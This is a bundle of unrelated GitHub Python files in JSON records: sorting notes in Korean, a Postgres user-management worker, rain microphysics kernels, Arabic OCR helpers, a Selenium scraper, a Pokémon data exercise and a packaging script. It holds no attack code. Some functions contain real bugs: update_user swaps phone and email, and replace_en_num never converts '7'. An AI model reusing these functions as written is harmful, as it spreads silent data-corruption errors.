##arr_minmax에 기록한다\n\nfor i in range(len(arr_minmax)): ##arr_mixmax에 기록된 횟수만큼 해당 인덱스를출력\n for j in range(arr_minmax[i]):\n print(i, end=' ')\nprint()\n##때에 따라서 계수정렬은 매우 비효율적일수 있다. 데이터가 0과 999,999만 있다면?\n##이럴때도 리스트의 크기를 100만이 되도록 선언해야 한다. 따라서 항상 사용할 수\n##있는 정렬 알고리즘은 아니며, 동일한 값을 가지는 데이터가 여러 개 등장할때 적\n##합하다. (ex)성적처리) 만약 데이터의 특성을 파악하기 어렵다면 퀵정렬을 사용하자\n\n\n##기본 정렬 라이브러리 sorted()함수는 퀵 정렬과 동작 방식이 비슷한 병합 정렬을\n##기바으로 만들어졌는데, 일반적으로 퀵정렬보다 느리지만 최악의 경우에도 O(NlogN)\n##을 보장한다는 특징이 있다. 이러한 sorted()함수는 리스트, 딕셔너리 자료형 등을\n##입력받아서 정렬된 결과를 출력한다. 집합(set), 딕셔너리를 입력받아도 결과는\n##리스트 자료형이다.\n\narray = [7, 5, 9, 0, 3, 1, 6, 2, 4, 8]\nresult = sorted(array)\nprint(array)\nprint(result)\n\n##리스트가 하나 있을때 내부 원소를 바로 정렬할 수도 있는데, 이는 리스트 객체 내\n##장 메소드인 sort()를 이용하는것이다. 별도의 정렬된 리스트가 반환되지 않고\n##리스트의 내부원소가 바로 정렬된다\n\narray.sort()\nprint(array)\n\n##또한 sorted(), sort()를 이용할 땐 key 매개변수를 입력으로 받을 수 있다. key\n##값으로는 하나의 함수가 들어가야 하며, 이는 정렬 기준이 된다.\n##에를 들어 데이터가 튜플로 구성되어 있을 때, 각 데이터의 두 번재 원소를 기준\n##으로 설정하는 경우는 다음처럼 작성가능하다. 또한 람다(lambda) 함수를 사용할\n##수도 있다. 이는 부록에서 확인(lambda는 한번 써봤다)\n\narray = [('바나나',2), ('사과', 5), ('당근',3)]\n\ndef setting(data):\n return data[1]\n\nresult = sorted(array, key = setting)\nprint(result)\n\n##최악의 경우에도 O(NlogN)을 보장한다. 이들은 이미 잘 작성된 함수이므로 우리가 직\n##접 퀵정렬을 구현할때보다도 더 효과적이다. 문제에서 별도 요구가 없다면\n##단순히 정렬할때는 기본정렬 라이브러리 / 데이터 범위가 한정적이라면 계수정렬\n##을 이용하자\n##코딩테스트에서 정렬 알고리즘이 사용되는 경우를 일반적으로 3가지로 나눌 수 있다\n##\n##1. 정렬 라이브러리로 풀수 있는 문제 : 단순히 정렬 기법을 알고 있는지 물어보는\n##문제로 기본 정렬 라이브러리의 사용법을 숙지하고 있다면 어렵지 않다\n##2. 정렬 알고리즘의 원리에 대해서 물어보는 문제: 선택정렬, 삽입정렬, 퀵정렬\n##등의 원리를 알고 있어야 문제를 풀 수 있다.\n##3. 더 빠른 정렬이 필요한 문제: 퀵 정렬 기반의 정렬 기법으론 풀 수 없으며 계수\n##정렬 등 다른 정렬 알고리즘을 이용하거나 문제에서 기존에 알려진 알고리즘의 구조\n##적인 개선을 거쳐야 풀 수 있다.\n","repo_name":"csw1511/algorithm_study","sub_path":"Python codingtest bookstudy/4 sort/4정렬.py","file_name":"4정렬.py","file_ext":"py","file_size_in_byte":6298,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33952572947","text":"from db import conn, cursor\n\ndef add_user(first_name, last_name, email, phone, city, state, org_id, active):\n cursor.execute(\"\"\"\n INSERT INTO Users (first_name, last_name, email, phone, city, state, org_id, active)\n VALUES (%s,%s,%s,%s,%s,%s,%s,%s);\"\"\", (first_name, last_name, email, phone, city, state, org_id, active))\n \n conn.commit()\n\ndef get_all_active_users():\n cursor.execute('SELECT * FROM Users WHERE active=1')\n results = cursor.fetchall()\n if results:\n users = []\n for result in results:\n user = {\n 'user_id' : result[0],\n 'first_name': result[1],\n 'last_name' : result[2],\n 'email' : result[3],\n 'phone' : result[4],\n 'city' : result[5],\n 'state' : result[6],\n 'org_id' : result[7],\n 'active' : result[8]\n }\n\n if user['org_id']:\n cursor.execute('SELECT * FROM Organizations WHERE org_id = %s', [user['org_id']])\n org_result = cursor.fetchone()\n org = { \n 'organization': {\n \"org_id\" : org_result[0],\n \"name\" : org_result[1],\n \"phone\" : org_result[2],\n \"city\" : org_result[3],\n \"state\" : org_result[4],\n \"active\" : org_result[5]\n }\n }\n\n user.update(org)\n users.append(user)\n return users\n\ndef get_user_by_id(user_id):\n cursor.execute('SELECT * FROM Users WHERE user_id = %s', [user_id])\n result = cursor.fetchone()\n if result:\n user = {\n 'user_id' : result[0],\n 'first_name': result[1],\n 'last_name' : result[2],\n 'email' : result[3],\n 'phone' : result[4],\n 'city' : result[5],\n 'state' : result[6],\n 'org_id' : result[7],\n 'active' : result[8]\n }\n return user\n\ndef update_user(user_dict):\n\n user_id = user_dict['user_id']\n first_name = user_dict['first_name']\n last_name = user_dict['last_name']\n phone = user_dict['phone']\n email = user_dict['email']\n city = user_dict['city']\n state = user_dict['state']\n org_id = user_dict['org_id']\n active = user_dict['active']\n\n cursor.execute('''UPDATE Users SET \n first_name = %s,\n last_name = %s,\n email = %s,\n phone = %s,\n city = %s,\n state = %s,\n org_id = %s,\n active = %s\n WHERE user_id = %s''',\n [first_name,last_name,phone,email,city,state,org_id,active, user_id])\n\n conn.commit()\n\ndef deactivate_user(user_id):\n cursor.execute('UPDATE Users SET active = 0 WHERE user_id = %s', [user_id])\n conn.commit()\n\ndef activate_user(user_id):\n cursor.execute('UPDATE Users SET active = 1 WHERE user_id = %s', [user_id])\n conn.commit()\n\ndef delete_user(user_id):\n cursor.execute('DELETE FROM Users WHERE user_id = %s', [user_id])\n conn.commit()","repo_name":"darthcircuit/backend-postgres","sub_path":"workers/users_worker.py","file_name":"users_worker.py","file_ext":"py","file_size_in_byte":2904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24394704285","text":"import numpy as np\nfrom .constants import *\nfrom .thermo import esat\n\nK_t = 2.5e-2 # conductivity of heat [J/(sKm)]\nD_v = 3.e-5 # diffusivity of water vapor [m2/s]\nrho_w = 1.e3 # Density water\nrho_0 = 1.225 # SB06, p48\npirhow = np.pi * rho_w / 6.\nxc_min = 4.2e-15 # Min mean mass of cloud droplet (DALES)\nxc_max = 2.6e-10 # Max mean mass of cloud droplet (DALES)\nxr_min = xc_max # Min mean mass of precipitation drop (DALES) \nxr_max = 5e-6 # Max mean mass of precipitation drop, (DALES)\nql_min = 1.e-7 # Min cloud liquid water for which calculations are performed (DALES) \nqr_min = 1.e-20 # Min rain liquid water for which calculations are performed (UCLA-LES) \n\ndef calc_mur(Dr):\n return 10. * (1. + np.tanh(1200 * (Dr - 0.0014))) # SS08\n\ndef calc_drop_properties(qr, nr, rho):\n #nr_lim = np.maximum(nr, 1) # Lower limit of one drop (because qr>0, we should have one drop...)\n xr = rho * qr / (nr+1e-12) # Mean mass of prec. drops (kg)\n xr = np.minimum(np.maximum(xr, 1e-16), xr_max) # Limit mass\n Dr = (xr / pirhow)**(1./3.) # Mean diameter of prec. drops (m)\n\n return (xr,Dr)\n\ndef int2(a,b):\n return 0.5*a + 0.5*b\n\ndef int4(a,b,c,d):\n ci0 = -1./16.; ci1 = 9./16.;\n return ci0*a + ci1*b + ci1*c + ci0*d\n\ndef minmod(a,b):\n return np.sign(a) * max(0., min(np.abs(a), np.sign(a)*b))\n\nclass Micro:\n def __init__(self):\n self.scheme = 'KK00'\n\n self.max_cfl = 1e-3\n self.nc = 70e6\n\n self.sw_auto = True\n self.sw_evap = True\n self.sw_accr = True\n self.sw_scbr = True\n self.sw_sedi = True\n\n def get_time_limit(self, cfl, dt):\n if(self.max_cfl > 0):\n return cfl / self.max_cfl * dt\n else:\n return 1e12\n\n def autoconversion(self, qr_tend, nr_tend, thl_tend, qt_tend, \\\n qr, nr, ql, rho, exn, kstart, kend):\n \n if(self.sw_auto): \n x_star = 2.6e-10 # SB06, list of symbols, same as UCLA\n k_cc = 9.44e+9 # UCLA-LES (Long, 1974), 4.44e9 in SB06, p48 \n nu_c = 1 # SB06, Table 1; same as UCLA\n kccxs = k_cc / (20 * x_star) * (nu_c+2)*(nu_c+4) / pow(nu_c+1, 2) \n\n for k in range(kstart, kend):\n if(ql[k] > ql_min):\n xc = rho[k] * ql[k] / self.nc # Mean mass of cloud drops\n tau = max(0, 1 - ql[k] / (ql[k] + qr[k])) # SB06, Eq 5\n phi_au = 400 * pow(tau, 0.7) * \\\n pow(1. - pow(tau, 0.7), 3) # SB06, Eq 6\n\n # Tendencies\n # Seifert and Beheng (SB06), eq 4: rho_0 is the surface density; in SB06 rho_0 / rho, which simply becomes rho_0 in the conversion to kg/kg\n # Khairoutdinov and Kogan (KK00), eq 29 (which has nc in cm-3)\n qr_t = kccxs * pow(ql[k], 2) * pow(xc, 2) * (1. + phi_au / pow(1 - tau, 2)) * rho_0 if self.scheme == 'SB06' else 1350 * pow(ql[k], 2.47) * pow(self.nc * 1e-6, -1.79)\n nr_t = qr_t * rho[k] / x_star\n\n qr_tend[k] += qr_t \n nr_tend[k] += nr_t\n thl_tend[k] += Lv / (cp * exn[k]) * qr_t \n qt_tend[k] -= qr_t\n\n def evaporation(self, qr_tend, nr_tend, thl_tend, qt_tend, qr, nr, qt, qs, ql, T, rho, exner, kstart, kend):\n if(self.sw_evap):\n lambda_evap = 1.\n\n # Constants ventilation term:\n nu_a = 1.4086e-5 # SB06, page 62\n a = 9.65 # S08, p3618\n b = 9.8 # S08, p3618\n c = 600 # S08, p3618\n a_vent = 0.78 # SB06, p62\n b_vent = 0.308 # SB06, p62\n Nsc = 0.71 # SB06, p63\n\n for k in range(kstart, kend):\n if(qr[k] > qr_min):\n xr, Dr = calc_drop_properties(qr[k], nr[k], rho[k])\n\n G = 1. / ( (Rv * T[k] / (D_v * esat(T[k]))) + (Lv * Lv / (K_t * Rv * T[k] * T[k])) )\n S = (qt[k] - ql[k]) / qs[k] - 1 # Supersaturation (-)\n\n # Ventilation:\n #Vr = a - b * np.exp(-c * Dr) # Terminal velocity drop of diamter Dr [m s-1]\n #Nre = max(0, Vr * Dr / nu_a) \n #F0 = a_vent + b_vent * 0.71**(1./3.) * Nre**(1/2) \n F = 1. #F0\n\n qr_t = 2. * np.pi * Dr * G * S * F * nr[k] / rho[k]\n nr_t = lambda_evap * qr_t * rho[k] / xr\n\n # Accumulate tendencies\n qr_tend[k] += qr_t\n nr_tend[k] += nr_t\n thl_tend[k] += Lv / (cp * exner[k]) * qr_t \n qt_tend[k] -= qr_t\n\n def accretion(self, qr_tend, nr_tend, thl_tend, qt_tend, qr, nr, ql, rho, exner, kstart, kend):\n if(self.sw_accr):\n k_cr = 5.25 # SB06, p49\n\n for k in range(kstart, kend):\n if(ql[k] > ql_min and qr[k] > qr_min):\n tau = 1 - ql[k] / (ql[k] + qr[k]) # SB06, Eq 5\n phi_ac = pow(tau / (tau + 5e-5), 4) # SB06, Eq 8\n\n # accretion rate:\n # Seifert and Behen (SB06): eq 7\n # Khairoutdinov and Kogan (KK00): eq 33\n qr_t = k_cr * ql[k] * qr[k] * phi_ac * pow(rho_0 / rho[k], 0.5) if self.scheme == 'SB06' else 67. * pow(ql[k] * qr[k], 1.15)\n\n # Accumulate tendencies\n qr_tend[k] += qr_t \n qt_tend[k] -= qr_t\n thl_tend[k] += Lv / (cp * exner[k]) * qr_t \n\n def selfcollection_breakup(self, qr_tend, nr_tend, thl_tend, qt_tend, qr, nr, rho, kstart, kend):\n if(self.sw_scbr):\n k_rr = 7.12 # SB06, p49\n kappa_rr = 60.7 # SB06, p49 \n\n D_eq = 0.9e-3 # SB06, list of symbols \n k_br1 = 1.0e3 # SB06, p50, for 0.35e-3 <= Dr <= D_eq\n k_br2 = 2.3e3 # SB06, p50, for Dr > D_eq\n \n for k in range(kstart, kend):\n if(qr[k] > qr_min):\n xr, Dr = calc_drop_properties(qr[k], nr[k], rho[k])\n mur = calc_mur(Dr)\n lambda_r = pow((mur+3)*(mur+2)*(mur+1), 1./3.) / Dr\n\n # self-collection tendency\n sc_t = -k_rr * nr[k] * qr[k]*rho[k] * pow(1. + kappa_rr / lambda_r * pow(pirhow, 1./3.), -9) * pow(rho_0 / rho[k], 0.5)\n\n br_t = 0\n dDr = Dr - D_eq\n if(Dr > 0.35e-3):\n if(Dr <= D_eq):\n phi_br = k_br1 * dDr\n elif(Dr > D_eq):\n phi_br = 2. * np.exp(k_br2 * dDr) - 1. \n \n # Breakup tendency \n br_t = -(phi_br + 1) * sc_t\n\n nr_tend[k] += sc_t + br_t\n\n def sedimentation_velocity(self, w_qr, w_nr, qr, nr, rho, kstart, kend):\n w_max = 9.65 # Maximum sedimentation velocity\n w_min = 0.01 # Minimum sedimentation velocity\n a_R = 9.65 # SB06, p51\n c_R = 600 # SB06, p51\n Dv = 25.e-6 # UCLA-LES\n b_R = a_R * np.exp(c_R*Dv) # UCLA-LES\n\n for k in range(kstart, kend):\n if(qr[k] > qr_min):\n xr, Dr = calc_drop_properties(qr[k], nr[k], rho[k])\n mur = calc_mur(Dr)\n lambda_r = pow((mur+3)*(mur+2)*(mur+1), 1./3.) / Dr\n\n # SS08:\n w_qr[k] = -max(w_min, min(w_max, a_R - b_R * pow(1. + c_R/lambda_r, -(mur+4))))\n w_nr[k] = -max(w_min, min(w_max, a_R - b_R * pow(1. + c_R/lambda_r, -(mur+1))))\n\n def sedimentation_ss08(self, qr_tend, nr_tend, qr, nr, rho, dz, dzi, dzhi, dt, subdt, kstart, kend, kcells, rainrate=None):\n if(self.sw_sedi):\n # 1. Calculate sedimentation velocity\n w_qr = np.zeros(kcells)\n w_nr = np.zeros(kcells)\n self.sedimentation_velocity(w_qr, w_nr, qr, nr, rho, kstart, kend)\n \n # 2. Calculate CFL number based on interpolated velocity\n c_qr = np.zeros(kcells)\n c_nr = np.zeros(kcells)\n\n c_qr[kstart] = -w_qr[kstart] * dzi[kstart] * dt \n c_nr[kstart] = -w_nr[kstart] * dzi[kstart] * dt \n\n for k in range(kstart+1, kend):\n c_qr[k] = -0.25 * (w_qr[k+1] + 2*w_qr[k] + w_qr[k-1]) * dzi[k] * dt\n c_nr[k] = -0.25 * (w_nr[k+1] + 2*w_nr[k] + w_nr[k-1]) * dzi[k] * dt\n\n self.max_cfl = c_qr.max()\n\n # Calculate slopes\n qr_slope = np.zeros(kcells)\n nr_slope = np.zeros(kcells)\n\n for k in range(kstart, kend):\n qr_slope[k] = minmod(qr[k]-qr[k-1], qr[k+1]-qr[k])\n nr_slope[k] = minmod(nr[k]-nr[k-1], nr[k+1]-nr[k])\n\n qr_slope[kstart-1] = qr_slope[kstart]\n nr_slope[kstart-1] = nr_slope[kstart]\n\n # calculate flux and tendency\n qr_flux = np.zeros(kcells)\n nr_flux = np.zeros(kcells)\n\n for k in range(kend-1, kstart-1, -1):\n kk = k\n tot = 0\n zz = 0\n cc = min(1., c_qr[k])\n while(cc > 0 and kk < kend):\n tot += rho[kk] * (qr[kk] + qr_slope[kk]*(1.-cc)) * cc * dz[kk]\n zz += dz[kk]\n kk += 1\n cc = min(1., c_qr[kk] - zz * dzi[kk])\n\n lim = rho[k] * dz[k] * qr[k] - qr_flux[k+1] * dt + small\n #if(lim < tot):\n # print('limiter qr!!')\n tot = min(tot, lim)\n qr_flux[k] = -tot / dt \n\n kk = k\n tot = 0\n zz = 0\n cc = min(1., c_nr[k])\n while(cc > 0 and kk < kend):\n tot += rho[kk] * (nr[kk] + nr_slope[kk]*(1.-cc)) * cc * dz[kk]\n zz += dz[kk]\n kk += 1\n cc = min(1., c_nr[kk] - zz * dzi[kk])\n\n lim = rho[k] * dz[k] * nr[k] - nr_flux[k+1] * dt + small\n #if(lim < tot):\n # print('limiter nr!!')\n tot = min(tot, lim)\n nr_flux[k] = -tot / dt \n\n qr_tend[k] += -(qr_flux[k+1] - qr_flux[k]) * dzi[k] / rho[k] \n nr_tend[k] += -(nr_flux[k+1] - nr_flux[k]) * dzi[k] / rho[k]\n\n if rainrate is not None: rainrate[k] = - qr_flux[k] / rho_w\n","repo_name":"julietbravo/2mom_micro","sub_path":"src/micro_kernels.py","file_name":"micro_kernels.py","file_ext":"py","file_size_in_byte":10849,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"34637917630","text":"\nimport re\nimport cv2\nimport numpy as np\nfrom PIL import Image\n\ndef read_custum_html(file_name):\n with open(file_name) as f:\n return f.read()\n\ndef get_lines(result):\n lines_dict = {}\n l=0\n lines_dict[0]=[]\n cord = result[0][0]\n x_min, y_min = [int(min(idx)) for idx in zip(*cord)]\n x_max, y_max = [int(max(idx)) for idx in zip(*cord)]\n lines_dict[0].append([[x_max, y_min], result[0][1]])\n y_min_prev = lines_dict[0][0][0][1]\n for i in range(1, len(result)):\n cord = result[i][0]\n x_min, y_min = [int(min(idx)) for idx in zip(*cord)]\n x_max, y_max = [int(max(idx)) for idx in zip(*cord)]\n if y_min-y_min_prev<18:\n lines_dict[l].append([[x_max, y_min], result[i][1]])\n y_min_prev = y_min\n else:\n l= l+1\n lines_dict[l]=[]\n lines_dict[l].append([[x_max, y_min], result[i][1]])\n y_min_prev = y_max\n return lines_dict\ndef pil2cv(image):\n ''' PIL型 -> OpenCV型 '''\n new_image = np.array(image, dtype=np.uint8)\n if new_image.ndim == 2: # モノクロ\n pass\n elif new_image.shape[2] == 3: # カラー\n new_image = cv2.cvtColor(new_image, cv2.COLOR_RGB2BGR)\n elif new_image.shape[2] == 4: # 透過\n new_image = cv2.cvtColor(new_image, cv2.COLOR_RGBA2BGRA)\n return new_image\n\ndef cv2pil(image):\n ''' OpenCV型 -> PIL型 '''\n new_image = image.copy()\n if new_image.ndim == 2: # モノクロ\n pass\n elif new_image.shape[2] == 3: # カラー\n new_image = cv2.cvtColor(new_image, cv2.COLOR_BGR2RGB)\n elif new_image.shape[2] == 4: # 透過\n new_image = cv2.cvtColor(new_image, cv2.COLOR_BGRA2RGBA)\n new_image = Image.fromarray(new_image)\n return new_image\n\n\ndef annotate_image(image, result): \n #image = pil2cv(image)\n for i in range(len(result)):\n cord = result[i][0]\n x_min, y_min = [int(min(idx)) for idx in zip(*cord)]\n x_max, y_max = [int(max(idx)) for idx in zip(*cord)]\n image = cv2.rectangle(image,(x_min,y_min),(x_max,y_max),(0,255,0),5)\n cv2.imwrite(\"./image.jpg\", image)\n return image\n\ndef arrange_words_in_line(lines_dict):\n if isinstance(lines_dict, dict):\n arranged_dict = {}\n for key, values in lines_dict.items():\n line = lines_dict[key]\n sorted_line = sorted(line,key=lambda x:x[0][0], reverse=True)\n arranged_dict[key] = sorted_line\n return arranged_dict\n else:\n raise TypeError(\"The arg must be dict of lines\")\n\ndef get_raw_text(result):\n lines_dict = get_lines(result)\n arranged_lines_dict = arrange_words_in_line(lines_dict)\n text_list = []\n for i in range(len(arranged_lines_dict.keys())):\n for j in range (len(arranged_lines_dict[i])):\n line_text = arranged_lines_dict[i][j][1]\n text_list.append(line_text)\n text_list.append('\\n')\n raw_text = ' '.join(text_list)\n raw_text = replace_en_num(raw_text)\n return raw_text\n\ndef replace_en_num(text):\n text = re.sub(\"0\", \"\\u0660\", text)\n text = re.sub(\"1\", \"\\u0661\", text)\n text = re.sub(\"2\", \"\\u0662\", text)\n text = re.sub(\"3\", \"\\u0663\", text)\n text = re.sub(\"4\", \"\\u0664\", text)\n text = re.sub(\"5\", \"\\u0665\", text)\n text = re.sub(\"6\", \"\\u0666\", text)\n text = re.sub(\"6\", \"\\u0667\", text)\n text = re.sub(\"8\", \"\\u0668\", text)\n text = re.sub(\"9\", \"\\u0669\", text)\n return text","repo_name":"mahmouddaif/ArabicOcr","sub_path":"utlis.py","file_name":"utlis.py","file_ext":"py","file_size_in_byte":3272,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"73613946348","text":"#scapre historical data from wherexur that was indexed before xurtracker with selenium\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nimport time\n\nurlList = []\n\nSEASON_MAX = 21\nseason = 1\n\ndriver = webdriver.Chrome()\n#wait for data to download\ndriver.implicitly_wait(120)\n\n\ndef getLocation(url):\n driver.get(url)\n\n location = driver.find_element(By.CLASS_NAME, \"destination\")\n return location.text\n\nwhile season <= SEASON_MAX:\n\n URL = f\"https://wherexur.com/{season}\"\n driver.get(URL)\n \n \n\n links = driver.find_elements(By.CSS_SELECTOR, \"li.linked a\")\n #print(links)\n\n for link in links:\n link = link.get_attribute('href').replace(\"https://wherexur.com/\",\"\")\n if \"item\" in link:\n continue\n if \"/\" in link:\n print(f\"https://wherexur.com/{link}\")\n urlList.append(f\"https://wherexur.com/{link}\")\n\n\n season += 1\n\nprint(urlList)\nprint(urlList.sort())\ndriver.quit()\n","repo_name":"tlstommy/xur-predictor","sub_path":"scrapeOldDates.py","file_name":"scrapeOldDates.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73572576427","text":"# Parte 1: Cargar los datos\n\ndef cargar_datos():\n with open('pokemon.csv','r',encoding='utf-8') as archivo:\n pokemones=[]\n for line in archivo:\n pokemones.append(line.strip().split(','))\n variables = pokemones.pop(0)\n \n tipos_pokemon_rep = []\n pokemon_por_tipo = dict()\n info_pokemon = dict()\n \n for pokemon in pokemones:\n tipos_pokemon_rep.append(pokemon[2])\n info_pokemon[pokemon[0]] = dict()\n for i in range(1,len(pokemon)):\n info_pokemon[pokemon[0]][variables[i]] = pokemon[i]\n tipos_pokemon = set(tipos_pokemon_rep)\n \n \n for tipo in tipos_pokemon:\n pokemon_por_tipo[tipo] = []\n for pokemon in pokemones:\n if pokemon[2]==tipo:\n pokemon_por_tipo[tipo].append(pokemon[0])\n pokemon_por_tipo[tipo] = list(set(pokemon_por_tipo[tipo]))\n \n return tipos_pokemon, pokemon_por_tipo, info_pokemon\n\n\n\n# Parte 2: Completar las consultas\ntipos_pokemon, pokemon_por_tipo, info_pokemon = cargar_datos()\n\ndef obtener_ataque_y_defensa(nombre_pokemon):\n for id in info_pokemon:\n if info_pokemon[id]['nombre'] == nombre_pokemon:\n tupla = (info_pokemon[id]['ataque'],info_pokemon[id]['defensa'])\n return tupla\n\ndef filtrar_y_ordenar(tipo_pokemon, criterio):\n pokemones_del_tipo = pokemon_por_tipo[tipo_pokemon]\n lista_pokemones = []\n for id in pokemones_del_tipo:\n lista_pokemones.append((info_pokemon[id]['nombre'],int((info_pokemon[id][criterio]))))\n lista_ordenada = sorted(lista_pokemones, key=lambda x:x[1], reverse=True)\n lista_ordenada_solo_nombres = []\n for pokemon in lista_ordenada: \n lista_ordenada_solo_nombres.append(pokemon[0])\n return lista_ordenada_solo_nombres\n\ndef obtener_estadisticas(tipo_pokemon, criterio):\n pokemones_del_tipo = pokemon_por_tipo[tipo_pokemon]\n lista_pokemones = []\n lista_criterio =[]\n for id in pokemones_del_tipo:\n lista_pokemones.append(info_pokemon[id]['nombre'])\n lista_criterio.append(int((info_pokemon[id][criterio])))\n return {'max': max(lista_criterio),'min':min(lista_criterio),'prom':sum(lista_criterio)/len(lista_criterio)}\n\n\ndef solicitar_accion():\n print(\"\\n¿Qué desea hacer?\\n\")\n print(\"[0] Revisar estructuras de datos\")\n print(\"[1] Obtener ataque y defensa de un pokemon\")\n print(\"[2] Filtrar y ordenar pokemons\")\n print(\"[3] Obtener estadísticas de pokemons\")\n print(\"[4] Salir\")\n\n eleccion = input(\"\\nIndique su elección (0, 1, 2, 3, 4): \")\n while eleccion not in \"01234\":\n eleccion = input(\"\\nElección no válida.\\nIndique su elección (0, 1, 2, 3, 4): \")\n eleccion = int(eleccion)\n return eleccion\n\n\ndef revisar_estructuras(tipos_pokemon, pokemon_por_tipo, info_pokemon):\n print(\"\\nTipos de pokemon:\")\n for tipo in tipos_pokemon:\n print(f\" - {tipo}\")\n\n print(\"\\nId de pokemons por tipo:\")\n for tipo in pokemon_por_tipo:\n print(f\" Tipo: {tipo}\")\n for id_ in pokemon_por_tipo[tipo]:\n print(f\" - {id_}\")\n\n print(\"\\nInformación de cada pokemon:\")\n for id_ in info_pokemon:\n print(f\" Id: {id_}\")\n for llave in info_pokemon[id_]:\n print(f\" - {llave}: {info_pokemon[id_][llave]}\")\n\n\ndef solicitar_nombre():\n nombre = input(\"\\nIngrese el nombre del pokemon: \")\n return nombre\n\n\ndef solicitar_tipo_y_criterio():\n tipo = input(\"\\nIndique el tipo de pokemon: \")\n criterio = input(\"\\nIndique el criterio (hp, ataque, defensa): \")\n return tipo, criterio\n\n\ndef main():\n datos_cargados = True\n try:\n tipos_pokemon, pokemon_por_tipo, info_pokemon = cargar_datos()\n except TypeError as error:\n if 'cannot unpack non-iterable NoneType object' in repr(error):\n print(\"\\nTodavía no puedes ejecutar el programa ya que no has cargado los datos\\n\")\n datos_cargados = False\n if datos_cargados:\n salir = False\n print(\"\\n********** ¡Bienvenid@! **********\")\n while not salir:\n accion = solicitar_accion()\n\n if accion == 0:\n revisar_estructuras(tipos_pokemon, pokemon_por_tipo, info_pokemon)\n\n elif accion == 1:\n nombre_pokemon = solicitar_nombre()\n ataque, defensa = obtener_ataque_y_defensa(nombre_pokemon)\n print(f\"\\nObteniendo ataque y defensa de {nombre_pokemon}\")\n print(f\" - Ataque: {ataque}\")\n print(f\" - Defensa: {defensa}\")\n\n elif accion == 2:\n tipo, criterio = solicitar_tipo_y_criterio()\n nombres_pokemon = filtrar_y_ordenar(tipo, criterio)\n print(f\"\\nNombres de pokemon tipo {tipo} ordenados segun {criterio}:\")\n for nombre in nombres_pokemon:\n print(f\" - {nombre}\")\n\n elif accion == 3:\n tipo, criterio = solicitar_tipo_y_criterio()\n estadisticas = obtener_estadisticas(tipo, criterio)\n print(f\"\\nEstadísticas de {criterio} de pokemon tipo {tipo}:\")\n print(f\" - Máximo: {estadisticas['max']}\")\n print(f\" - Mínimo: {estadisticas['min']}\")\n print(f\" - Promedio: {estadisticas['prom']}\")\n\n else:\n salir = True\n print(\"\\n********** ¡Adiós! **********\\n\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"mallenarenas/Pokemon-data","sub_path":"MP1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5539,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30690700403","text":"from setuptools import setup\r\nimport onecmd_sys\r\nimport sys\r\n\r\nDESCRIPTION = \"onecmd: Python pyproject.toml Genelator\"\r\nNAME = 'onecmd'\r\nAUTHOR = 'sonyakun'\r\nAUTHOR_EMAIL = 'sonyakun217@gmail.com'\r\nURL = 'https://github.com/sakurapkg/onecmd'\r\nLICENSE = 'MIT'\r\nDOWNLOAD_URL = 'https://github.com/sakurapkg/onecmd/releases'\r\nPYTHON_REQUIRES = \">=3.10\"\r\n\r\nINSTALL_REQUIRES = [\r\n 'cleo',\r\n]\r\n\r\nCLASSIFIERS = [\r\n 'Intended Audience :: Science/Research',\r\n 'License :: OSI Approved :: MIT License',\r\n 'Programming Language :: Python :: 3.10',\r\n 'Programming Language :: Python :: 3.11',\r\n 'Programming Language :: Python :: 3 :: Only',\r\n]\r\n\r\nlong_description_content_type = \"https://github.com/sakurapkg/onecmd\"\r\n\r\nsetup(\r\n name=NAME,\r\n version=\"1.0.0\",\r\n author=AUTHOR,\r\n author_email=AUTHOR_EMAIL,\r\n maintainer=AUTHOR,\r\n maintainer_email=AUTHOR_EMAIL,\r\n description=DESCRIPTION,\r\n long_description=long_description_content_type,\r\n license=LICENSE,\r\n url=URL,\r\n download_url=DOWNLOAD_URL,\r\n python_requires=PYTHON_REQUIRES,\r\n install_requires=INSTALL_REQUIRES,\r\n classifiers=CLASSIFIERS,\r\n entry_points={\r\n \"console_scripts\": [\r\n \"onecmd=onecmd_sys.app:main\".format(sys.version_info[0]),\r\n ]\r\n },\r\n)\r\n","repo_name":"sakurapkg/onecmd","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14021071741","text":"\"\"\"\n===============================================================================\nCLASS FOR FEATURE ENGINEERING SUBROUTINES\n===============================================================================\n\"\"\"\n\nimport numpy as np\nfrom itertools import chain\nfrom scipy import stats\n\nfrom scipy.optimize import minimize\nimport statistics\n\n\nclass Feature_Engineering:\n \"\"\"\n Feature_Engineering class. containing several generic methods for the manipulation of features\n that are shared by all surrogate methods.\n \"\"\"\n\n def __init__(self):\n print('Creating Feature Engineering object')\n self.lags = None\n self.local = False\n\n def _predict(self, X, feed_forward):\n \"\"\"\n Contains the generic processing of features that is independent of the chosen surrogate\n method. Features are processed depending upon the presence of time lags or the local /\n non-local nature of the surrogate. The processed features are then passed to the\n surrogate-specific feed_forward method.\n\n Parameters\n ----------\n X : array or list of arrays\n The feature array or list of feature arrays on which to evaluate the surrogate.\n feed_forward : function\n The prediction function that is specific to a particular surrogate.\n\n Returns\n -------\n array\n feed_forward(X)\n\n \"\"\"\n\n if not isinstance(X, list):\n X = [X]\n\n # make sure all feature vectors have the same ndim.\n # This will raise an error when for instance X1.shape = (10,) and X2.shape = (10, 1)\n ndims = [X_i.ndim for X_i in X]\n assert all([ndim == ndims[0] for ndim in ndims]), \"All features must have the same ndim\"\n\n # make sure features are at most two dimensional arrays\n assert ndims[0] <= 2, \"Only 1 or 2 dimensional arrays are allowed as features.\"\n\n # in the case of two dimensional arrays, make are the second dimension is the same\n # for all features. This dimension must equal the grid size\n local = False\n if ndims[0] == 2:\n local = True\n shapes1 = [X_i.shape[1] for X_i in X]\n assert all([shape1 